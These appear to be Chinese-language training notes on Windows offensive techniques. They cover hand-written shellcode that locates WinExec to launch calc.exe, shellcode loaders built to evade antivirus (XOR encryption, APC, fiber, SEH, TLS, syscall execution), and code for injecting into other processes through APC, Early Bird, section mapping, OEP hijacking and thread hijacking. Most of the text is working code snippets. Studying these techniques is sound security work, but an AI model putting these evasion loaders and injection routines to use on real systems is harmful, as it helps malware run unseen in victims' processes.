台灣好厲駭筆記 2nd - Windows Shellcode
===
[TOC]
###### tags: `zeze`
# Example Shellcode
* 作業系統: Windows10
* 32-bit shellcode
* 目標: 利用 WinExec 執行 calc.exe
* [主要 Reference](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html#resources)
* [Windows shellcode](https://zh-hant.hotbak.net/key/Windowsx86%E8%88%87x64Shellcode%E6%8A%80%E8%A1%93%E7%A0%94%E7%A9%B6%E5%AE%89%E5%85%A8%E5%AE%A2%E5%AE%89%E5%85%A8%E8%B3%87%E8%A8%8A.html)
* [中文的 PE 結構解釋](https://ithelp.ithome.com.tw/articles/10187582)
## 簡介
由於 Windows 不像 Linux 一樣可以直接使用 system call,而是要使用 Windows API,然後 Windows API 再去 call 那些 Native API。Native API 實作在 ntdll.dll,沒有公開的官方文件,所以還是得靠實作在 kernel32.dll, advapi32.dll, gdi32.dll 的有公開官方文件的 Windows API。
## 找到 kernel32.dll 的位置
### 先備知識
* [TEB \(Thread Environment Block\)](https://zh.wikipedia.org/wiki/%E7%BA%BF%E7%A8%8B%E4%BF%A1%E6%81%AF%E5%9D%97): 每個 thread 都會有個不同的 TEB,存放 thread 的資訊在 memory 中。TEB 的位址會存在 FS。
* [PEB \(Process Environment Block)](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb): 這是在 TEB 中的 offset 0x30 的一個 field,存放 process 的資訊。
* [PEB_LDR_DATA](https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html): PEB 中的 offset 0xC 的一個結構。其中有兩個結構分別是 PEB_LDR_DATA offset 0x14 的 **InMemoryOrderModuleList**。另一個是 PEB_LDR_DATA offset 0x18 的 **InInitializationOrderModuleList**。
* InMemoryOrderModuleList: 是個照著 memory 排序 dll 的 linked list,且前兩個一定是 ntdll.dll 和 kernel32.dll 的 entry。
* InInitializationOrderModuleList: 是個照著 initialization 順序排 dll 的 linked list,在 Windows Vista 以前的版本前兩個 dll 一定是 ntdll.dll 和 kernel32.dll 的 entry,在 Windows Vista 後則是 ntdll.dll 和 kernelbase.dll 的 entry。
* dll entry: dll 的 base address 存在 dll entry 的 offset 0x10
### 應用
1. 因為 TEB 的位址存在 fs,所以可以透過 fs:0x30 取得 PEB 的位址
2. 透過 PEB + 0xC 取得 PEB_LDR_DATA 的位址
3. 透過 PEB_LDR_DATA + 0x14 取得 InMemoryOrderModuleList 的位址
4. 取得 linked list 的 InMemoryOrderModuleList 下一個位址,指向 ntdll.dll entry
5. 透過指向 ntdll.dll entry 的下一個 linked list 位址取得 kernel32.dll dll entry
6. 透過 dll entry + 0x10 取得 kernel32.dll 的 base address
```
mov ebx, fs:0x30 ; Get pointer to PEB
mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList
mov ebx, [ebx] ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx] ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx + 0x10] ; Get kernel32.dll base address
```

* 驗證工具: [winrepl](https://github.com/zerosum0x0/WinREPL/releases/)
## 找到 WinExec
* [流程影片](https://idafchev.github.io/images/windows_shellcode/locate_function2.gif)
### 先備知識
* RVA(Relative Virtual Address): image base 的相對位址,不等於 file offset,因為程式在 disk 上各部分都會被拆開分配在不同地方,base 也會不同
* 各種相對位址:
* RVA 0x3C 是 PE signature 的 RVA
* PE signature 後第 0x78 bytes 是 Export Table 的 RVA
* Export Table 後第 0x14 bytes 是 DLL export 的 function 數量
* Export Table 後第 0x1C bytes 是存放 function address 的 Address Table 的 RVA
* Export Table 後第 0x20 bytes 是存放 function name 的 Name Pointer Table 的 RVA
* Export Table 後第 0x24 bytes 是存放 function position(因為在 import function 時是使用 symbol,為了找到對應的 function address,所以使用 function position) 的 Ordinal Table 的 RVA
### 應用
1. base address + 0x3C = PE signature 的 RVA
2. base address + PE signature 的 RVA = **PE signature** 的位址
3. PE signature 的位址 + 0x78 = Export Table 的 RVA
4. base address + Export Table 的 RVA = **Export Table** 的位址
5. Export Table 的位址 + 0x14 = **Export Function** 的數量
6. Export Table 的位址 + 0x1C = Address Table 的 RVA
7. base address + Address Table 的 RVA = **Address Table** 的位址
8. Export Table 的位址 + 0x20 = Name Pointer Table 的 RVA
9. base address + Name Pointer Table 的 RVA = **Name Pointer Table** 的位址
10. Export Table 的位址 + 0x24 = Ordinal Table 的 RVA
11. base address + Ordinal Table 的 RVA = **Ordinal Table** 的位址
12. 迴圈從 Name Pointer Table 找到 WinExec,並計算 WinExec 是第幾個 function (position)
13. Ordinal Table + position * 2 = WinExec 在 Ordinal Table 的 ordinal_number
14. Address Table + ordinal_number * 4 = WinExec 的 RVA
15. base address + WinExec 的 RVA = WinExec 的位址
```
; Establish a new stack frame
push ebp
mov ebp, esp
sub esp, 18h ; Allocate memory on stack for local variables
; push the function name on the stack
xor esi, esi
push esi ; null termination
push 63h
pushw 6578h
push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
; Find kernel32.dll base address
mov ebx, fs:0x30
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address
mov [ebp-8], ebx ; var8 = kernel32.dll base address
; Find WinExec address
mov eax, [ebx + 3Ch] ; RVA of PE signature
add eax, ebx ; Address of PE signature = base address + RVA of PE signature
mov eax, [eax + 78h] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 24h] ; RVA of Ordinal Table
add ecx, ebx ; Address of Ordinal Table
mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table
mov edi, [eax + 20h] ; RVA of Name Pointer Table
add edi, ebx ; Address of Name Pointer Table
mov [ebp-10h], edi ; var16 = Address of Name Pointer Table
mov edx, [eax + 1Ch] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp-14h], edx ; var20 = Address of Address Table
mov edx, [eax + 14h] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp-10h] ; edi = var16 = Address of Name Pointer Table
mov esi, [ebp-4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; Entries in Name Pointer Table are 4 bytes long
; edi = RVA Nth entry = Address of Name Table * 4
add edi, ebx ; edi = address of string = base address + RVA Nth entry
add cx, 8 ; Length of strings to compare (len('WinExec') = 8)
repe cmpsb ; Compare the first 8 bytes of strings in
; esi and edi registers. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop ; if not the last -> loop
add esp, 26h
jmp start.end ; if function is not found, jump to end
.found:
; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table
mov edx, [ebp-14h] ; edx = var20 = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, ebx ; eax = address of WinExec =
; = kernel32.dll base address + RVA of WinExec
.end:
add esp, 26h ; clear the stack
pop ebp
ret
```
## 實作
* Project => Property => C/C++ => Command Line => /GS-
* Project => Property => Linker => Command Line => /NXCOMPAT:NO
```clike=
#include <stdio.h>
unsigned char sc[] = "\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
int main()
{
((void(*)())sc)();
return 0;
}
```
# Shellcode Loader
* [主軸 Reference](https://paper.seebug.org/1413/)
* [Git Repo](https://github.com/knownsec/shellcodeloader)
## 簡介
直接寫 shellcode 容易被防毒軟體擋掉,所以需要 loader 用各種加載方式躲避防毒。主要做三件事:
1. 載入 shellcode
2. shellcode 加解密
3. 執行 shellcode
## 1. 載入 shellcode
寫死在程式裡面沒有彈性,因此用動態載入的方式。
* 增加 resource
```c=
BeginUpdateResource(filepath, FALSE);
// resourceID 用什麼,等等使用時就要用那個 ID
UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(resourceID), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize);
EndUpdateResource(hResource, FALSE);
```
* 使用 resource
```c=
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceID), RT_RCDATA);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
LPVOID pBuffer = LockResource(hGlobal);
```
## 2. shellcode 加解密
任何加解密方式都可以,主要是為了防止被防毒軟體偵測到,這個 repo 是用 xor
## 3. 執行 shellcode
### CreateThreadpoolWait 加载
#### 原始功能
**CreateEvent\(\)** 可以建立一個事件,開發者可以藉由看這個事件是否 Signaled 來防止 memory conflict\(多個 thread 同時寫入同個記憶體導致錯誤\)
**CreateThreadpoolWait\(\)** 可以設置 callback function,在 **SetThreadpoolWait\(\)** 能把可等待物件和 ThreadpoolWait 綁在一起
#### loader 應用
```c=
// 第三個參數要是初始狀態,TRUE 代表 signaled,不然後面 WaitForSingleObject 會卡在那
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
// 把 callback function 設為 shellcode
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Shellcode, NULL, NULL);
// 把 threadPoolWait 和 event 綁定,當 event singled 時,就會呼叫 callback function
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
```
### Fiber 加載
#### 原始功能
* [Reference](https://stackoverflow.com/questions/796217/what-is-the-difference-between-a-thread-and-a-fiber)
Fiber 可以看作是一種比較輕便的 thread。
* Fiber:
* light-weight
* cooperative thread
* managed in user space(所以不用 context switch,速度快)
* start and stop in well-defined place(所以不用擔心 conflict)
* thread
* preemptive thread
* may stop in the middle of updating data
* can take advantage of multiple CPU
#### loader 應用
```c=
// 如果要換 fiber,就要先 ConvertThreadToFiber(),不然無法 SwitchToFiber()
PVOID mainFiber = ConvertThreadToFiber(NULL);
// 建立一個指向 shellcode 的 fiber
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Shellcode, NULL);
// 換到 shellcode fiber
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
```
### NtTestAlert 加載
* [Reference](https://idiotc4t.com/code-and-dll-process-injection/apc-and-nttestalert-code-execute)
因為沒有使用到 CreateThread, CreateRemoteThread 等防毒軟體嚴格監控的 API 就執行 shellcode,所以較容易繞過防毒軟體。
**NtTestAlert()** 執行時,會 call KiUserApcDispatcher 執行 APC
#### 原始功能
* [Reference](https://blog.csdn.net/qq_38493448/article/details/104006686)
每個 thread 都有一列 APC(Asynchronous Procedure Call),當 thread 甦醒時會按照 FIFO 順序執行 APC。
例如在發送 I/O request 給設備時,thread 理論上會繼續執行,直到需要得到返回結果時。這時 I/O 設備會插入 APC 告訴 thread 已經得到結果了。
#### loader 應用
```c=
// 沒有現成的 API 可用,要自己載入 NtTestAlert
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
// 把 shellcode 裝進 APC
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)Shellcode;
// 將 APC 插入現在的 thread
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
// 使用時會直接執行所有 APC
NtTestAlert();
```
### SEH 異常加載
#### 原始功能
* [SEH 簡介 Reference](https://docs.microsoft.com/zh-tw/cpp/cpp/structured-exception-handling-c-cpp?view=msvc-160)
SEH(Structured Exception Handling)
```c=
// try-except-statement :
__try compound-statement __except ( expression ) compound-statement
// try-finally-statement :
__try compound-statement __finally compound-statement
```
* [SEH anti-debug Reference](https://guidedhacking.com/threads/antidebug-seh-structured-exception-handling-and-trap-flag.14420/)
它也常被用來做 anti-debug,因為 debugger 會自動處理一些為了 debug 而造成的 exception。例如 debugger 會設置 trap flag 來讓程式一行一行執行,而 debugger 也會處理由設置 trap flag 導致的 exception,所以可以利用這點,在程式中故意設置 trap flag 來看是否有造成 exception。
#### loader 應用
```c=
int* p = 0x00000000;
_try
{
*p = 13;
}
_except(ShellcodeExecute())
{
};
```
### TLS 加载(只支援 32 bit)
#### 原始功能
TLS(Thread Local Storage) 是一個可以弄出儲存特定 thread 資料的方法。它也提供了 callback function 給開發者使用。callback function 在 thread 初始化和終止時都會用,也就是說在 OEP(Original Entry Point) 之前使用,因此可以拿來實作 anti-debug
#### loader 應用
* [另一個 Git Repo](https://gist.github.com/dennisfischer/525003173637929adeea)
```c=
// 前面還要載入一些東西才能用 tls callback.....
// callback function 會在 WinMain 之前執行
void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
((void(*)())Shellcode)();
ExitProcess(0);
}
```
### 動態加載 1
需要用到的函數都用 **GetProcAddress** 動態載入
```c=
HMODULE hkmodule = GetModuleHandle(L"kernel32.dll");
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(hkmodule, "VirtualAlloc");
pfnFindResourceW fnFindResourceW=(pfnFindResourceW)GetProcAddress(hkmodule, "FindResourceW");
pfnSizeofResource fnSizeofResource=(pfnSizeofResource)GetProcAddress(hkmodule, "SizeofResource");
pfnLoadResource fnLoadResource=(pfnLoadResource)GetProcAddress(hkmodule, "LoadResource");
pfnLockResource fnLockResource=(pfnLockResource)GetProcAddress(hkmodule, "LockResource");
```
### 動態加載 2 (只支援 32 bit)
像是寫 shellcode 那樣從 kernel32.dll 取出各個 function
```c=
ULONGLONG GetKernelFunc(char *funname)
{
// 取出 kernel32.dll 的 base address
ULONGLONG kernel32moudle = GetKernel32Moudle();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernel32moudle;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(kernel32moudle + pDos->e_lfanew);
PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
DWORD dwOffest = pExportDir->VirtualAddress;
// 用 Export Table 的位址拿到 function 數量、function address list、function name list
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(kernel32moudle + dwOffest);
DWORD dwFunCount = pExport->NumberOfFunctions;
DWORD dwFunNameCount = pExport->NumberOfNames;
DWORD dwModOffest = pExport->Name;
PDWORD pEAT = (PDWORD)(kernel32moudle + pExport->AddressOfFunctions);
PDWORD pENT = (PDWORD)(kernel32moudle + pExport->AddressOfNames);
PWORD pEIT = (PWORD)(kernel32moudle + pExport->AddressOfNameOrdinals);
// 迴圈找目標 function
for (DWORD dwOrdinal = 0; dwOrdinal<dwFunCount; dwOrdinal++)
{
if (!pEAT[dwOrdinal])
{
continue;
}
DWORD dwID = pExport->Base + dwOrdinal;
DWORD dwFunAddrOffest = pEAT[dwOrdinal];
for (DWORD dwIndex = 0; dwIndex<dwFunNameCount; dwIndex++)
{
if (pEIT[dwIndex] == dwOrdinal)
{
DWORD dwNameOffest = pENT[dwIndex];
char* pFunName = (char*)((DWORD)kernel32moudle + dwNameOffest);
if (!strcmp(pFunName, funname))
{
return kernel32moudle + dwFunAddrOffest;
}
}
}
}
return 0;
}
```
### system call 加載 (只支援 64 bit)
* [System Call Symbol 對應 syscall number](https://j00ru.vexillium.org/syscalls/nt/64/)
* [完整 source code (重點太長了所以直接放網址)](https://github.com/knownsec/shellcodeloader/blob/master/plug/Syscall%20Load/Syscall.cpp)
沒有用到任何 API 的取出 NtAllocateVirtualMemory,動態的從 ntdll.dll 取出 syscall address,並確認 runtime function 有沒有這個 syscall,有則調用 NtAllocateVirtualMemory。
:::warning
我自己感覺跟 kernel32.dll 的取出流程大同小異(?)
:::
---
以上是加載類別
以下是注入類別,有些跟 [Eric 之前講的注入技巧](https://hackmd.io/@bKM7OuRBQqmXcFRuw92pRQ/rkSRnDRPw)重複
基本上注入類別跟加載類別的差別就在於目標 process 一個是別人,一個是自己
---
### APC 注入
* [APC injection Reference](https://www.write-bug.com/article/2031.html)
跟 NtTestAlert 加載一樣是使用 APC 的機制,不過這邊是強調可以透過 QueueUserApc 將 shellcode 注入到目標 process 的某個 thread。這技術也可以用於 dll injection
SleepEx、WaitForSingleObjectEx、WaitForMultipleOBjectsEx、SingalObjectAndWait、GetQueuedCompletionStatusEx、MsgWaitForMultipleObjectsEx 等函數可以讓 thread 進入 alertable 的狀態,進而執行 APC
:::warning
這邊 call 上面那六個 function 是會讓目前的 thread 進入 alertable 的狀態吧,那執行的 APC 應該也是目前 thread 的 APC 阿,跟注入的 process 的 thread 有什麼關係?
:::
```clike=
// 把 explorer.exe 的 process 找出來
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0)
{
Process32Next(snapshot, &processEntry);
}
}
// 在目標 process 將 shellcode 寫入其中一塊記憶體
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL);
// 迴圈將 APC 注入到目標 process 的所有 thread
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
if (Thread32First(snapshot, &threadEntry))
{
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
{
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds)
{
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
```
### Early Bird APC 注入
* [Reference](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection)
#### 原始功能
CreateProcess 的第六個參數是 [creation flags](https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags),其中 suspended state 代表這個 process 的 primary thread 不會馬上執行,直到 ResumeThread() 後才會執行
#### loader 應用
```clike=
SIZE_T shellSize = totalSize - sizeof(CONFIG);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
// 建立一個 suspended 的 process
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
// 在目標 process 分配一塊記憶體並塞進 shellcode,建立一個 APC Routine 指向這塊記憶體
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buffer, shellSize, NULL);
delete[] buffer;
// 將 APC Routine 注入到目標 process 的 thread,然後 ResumeThread 觸發 shellcode
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
```
### NtCreateSection 注入
#### 原始功能
* [Reference](https://blog.xuite.net/tzeng015/twblog/113273116)
Section 是 process 之間的共享記憶體,而 Critical Section 是指這塊記憶體同時只能由一個 process 操作。需要使用 LeaveCriticalSection 釋放掉
有相同的概念的是 mutex(Mutual Exclusion),同樣是一個同步機制。
兩者的差別在於 mutex 會有 handle,而 secion 沒有,所以 WaitforMultipleObjects 只適用於 mutex
**NtCreateSection**, **NtMapViewOfSection**, **RtlCreateUserThread** 是在 ntdll 中 undocument 的 API,所以叫使用要動態載入
#### loader 應用
```clike=
// 建立一個 section
SIZE_T size = shellcodeSize;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// 讓這個 section 在目前執行的 process 開始使用,也就是 localSectionAddress
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
// 迴圈尋找目標 process
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0)
{
Process32Next(snapshot, &processEntry);
}
}
// 打開目標 process,並讓目標 process 也開始使用同個 secion
DWORD targetPID = processEntry.th32ProcessID;
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);
fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
// 在目前的 process 將 shellcode 寫入這個 section
memcpy(localSectionAddress, shellcode, shellcodeSize);
delete[] buffer;
HANDLE targetThreadHandle = NULL;
// 在目標 process 建立一個 thread,第七個參數是放開始執行的位址,也就是這個 section
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
```
### OEP Hijack 注入
OEP(Original Entry Point) 是 PE 的入口點。概念就是在目標 process 的 OEP 塞入 shellcode
* [PEB 結構](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)
* [DOS Header 結構](https://www.itread01.com/content/1547982395.html)
* [NTHeader 結構](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32)
* [Optional Header 結構](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32)
1. 取得 PEB 位址
2. PEB + 16 = image base pointer
3. 從 image base 開始讀 4096 bytes = Headers (放各種不同的 header)
4. Headers 的一開始就是 DOS Header
5. Headers + DOS Header->e_lfanew = NTHeader
6. image base + NTHeader->OptionalHeader.AddressOfEntryPoint = OEP
```clike=
// 開啟一個 suspended 的 process
DWORD returnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
// 取得目標 process 的 image PEB address,並透過 PEB address + 16 取得 image base pointer
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 16;
// 取得 image base
LPVOID imageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 8, NULL);
// 取得目標 process 的 image headers
BYTE headersBuffer[4096] = {};
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
// 從 image headers 算出 OEP 的位址
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (LONGLONG)imageBase);
// 將 shellcode 寫入目標 process 的 OEP
WriteProcessMemory(pi.hProcess, codeEntry, shellcode, shellcodeSize, NULL);
ResumeThread(pi.hThread);
```
### Thread Hiijack 注入
概念就是改變一個 process 的 instruction pointer,讓它跳到 shellcode 上
```clike=
// 開啟一個 process
DWORD targetPID = processEntry.th32ProcessID;
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// 在目標 process 分配一塊記憶體,並將 shellcode 寫進去
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL);
Thread32First(snapshot, &threadEntry);
// 迴圈所有 process,將其中的 thread 取出來
while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break;
}
}
// 將目標 thread 的狀態改為 suspended 後改變它的 instruction pointer,最後 ResumeThread
SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
context.Rip = (DWORD_PTR)remoteBuffer;
#else
context.Eip = (DWORD_PTR)remoteBuffer;
#endif // x64
SetThreadContext(threadHijacked, &context);
ResumeThread(threadHijacked);
return 0;
```